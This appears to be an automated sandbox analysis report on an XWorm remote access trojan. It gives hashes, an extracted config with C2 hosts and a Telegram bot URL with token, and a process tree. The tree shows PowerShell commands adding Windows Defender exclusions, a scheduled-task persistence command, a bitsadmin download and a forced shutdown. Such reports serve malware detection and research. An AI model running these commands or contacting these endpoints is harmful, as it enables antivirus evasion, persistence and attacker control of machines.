Analysis

  • max time kernel
    95s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 03:18

Errors

Reason
Machine shutdown

General

  • Target

    Output.exe

  • Size

    122KB

  • MD5

    fd08b9ac311ff6eb9c24e79ebb829b0c

  • SHA1

    e2a8a4a97f104cc6c9fcb43d2e15e05bf0c73ff3

  • SHA256

    3c63c4ca4f2fe4c5541ecb267e8c98154dcd1ec3dada24efa8b50ec8d4542824

  • SHA512

    55829d66ef2b92e96c693c6af08008602b19754ada2c9100d3f630de69742d99d4b87cf89518402c1a0c05b4da81129793dd489a6af4d0ae5df520f783432dab

  • SSDEEP

    3072:mz8hmIvtEwHJp7eiH7o8cB5+LuLjB3/IMKilf55:LEUJpp0/cKLj9wMK

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:40971

us3.localto.net:40971

Name1442-40971.portmap.host:40971

Attributes
  • Install_directory

    %Temp%

  • install_file

    KVRT.exe

  • telegram

    https://api.telegram.org/bot6916721041:AAGsGXyaplDWQ9HJlE88Z36KtBFClSB3E20

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Output.exe
    "C:\Users\Admin\AppData\Local\Temp\Output.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Users\Admin\AppData\Roaming\KVRT.exe
      "C:\Users\Admin\AppData\Roaming\KVRT.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4156
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\KVRT.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2308
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KVRT.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\KVRT.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KVRT.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4412
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "KVRT" /tr "C:\Users\Admin\AppData\Local\Temp\KVRT.exe"
        3⤵
        • Creates scheduled task(s)
        PID:4432
      • C:\Windows\SYSTEM32\shutdown.exe
        shutdown.exe /f /s /t 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:940
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3296
      • C:\Windows\SysWOW64\bitsadmin.exe
        "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://devbuilds.s.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe C:\Users\Admin\AppData\Local\Temp\KVRT.exe
        3⤵
        • Download via BitsAdmin
        PID:1580
  • C:\Users\Admin\AppData\Local\Temp\KVRT.exe
    C:\Users\Admin\AppData\Local\Temp\KVRT.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3240
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:3312
    • C:\Users\Admin\AppData\Local\Temp\KVRT.exe
      C:\Users\Admin\AppData\Local\Temp\KVRT.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1860
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x4 /state0:0xa3959855 /state1:0x41c64e6d
      1⤵
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      PID:5080

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\KVRT.exe.log

      Filesize

      654B

      MD5

      2ff39f6c7249774be85fd60a8f9a245e

      SHA1

      684ff36b31aedc1e587c8496c02722c6698c1c4e

      SHA256

      e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

      SHA512

      1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      d28a889fd956d5cb3accfbaf1143eb6f

      SHA1

      157ba54b365341f8ff06707d996b3635da8446f7

      SHA256

      21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

      SHA512

      0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      a7cc007980e419d553568a106210549a

      SHA1

      c03099706b75071f36c3962fcc60a22f197711e0

      SHA256

      a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165

      SHA512

      b9aaf29403c467daef80a1ae87478afc33b78f4e1ca16189557011bb83cf9b3e29a0f85c69fa209c45201fb28baca47d31756eee07b79c6312c506e8370f7666

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a3afmu1b.ki1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Downloader.hta

      Filesize

      877B

      MD5

      26fde2dde716bf34ccd01dc4e14a1513

      SHA1

      c0f9355285806e665cd8adb5f505e6dd1a829058

      SHA256

      3f132ede178bfbe1e0271cf42f9209a9e51ef3be491d5cce9e4c8a82349b67f9

      SHA512

      70667597d52e1b3d2db35c6d6f4fbb346d523c42f460ee4b1c34e4257ae66bc69e9a1369b0fbe9fe7d580491233ae94cb3507c098f9927cc90daf8d29eb3cd8c

    • C:\Users\Admin\AppData\Roaming\KVRT.exe

      Filesize

      95KB

      MD5

      caacc00a3a1be01e99f29abcf5f242c4

      SHA1

      2605c5337c15fda32deafe27d49baf34ab892561

      SHA256

      209e122072c202f0e7663407dbfb6c99774360ee736fcaad8a6998adbb06224e

      SHA512

      3ca0c64f573bb07b2b93ec2bbffe9684bbc6e764f0ab07d716d1d035897aaf0c6d71444e569deb28ef57067717b30f52b20eba5176c657fe0c69746778d852e1

    • memory/1116-0-0x0000000000960000-0x0000000000984000-memory.dmp

      Filesize

      144KB

    • memory/1116-1-0x00007FFCE0913000-0x00007FFCE0915000-memory.dmp

      Filesize

      8KB

    • memory/2308-25-0x000001DB76F90000-0x000001DB76FB2000-memory.dmp

      Filesize

      136KB

    • memory/4156-15-0x0000000000CA0000-0x0000000000CBE000-memory.dmp

      Filesize

      120KB

    • memory/4156-19-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4156-73-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4156-74-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4156-17-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4156-78-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp

      Filesize

      10.8MB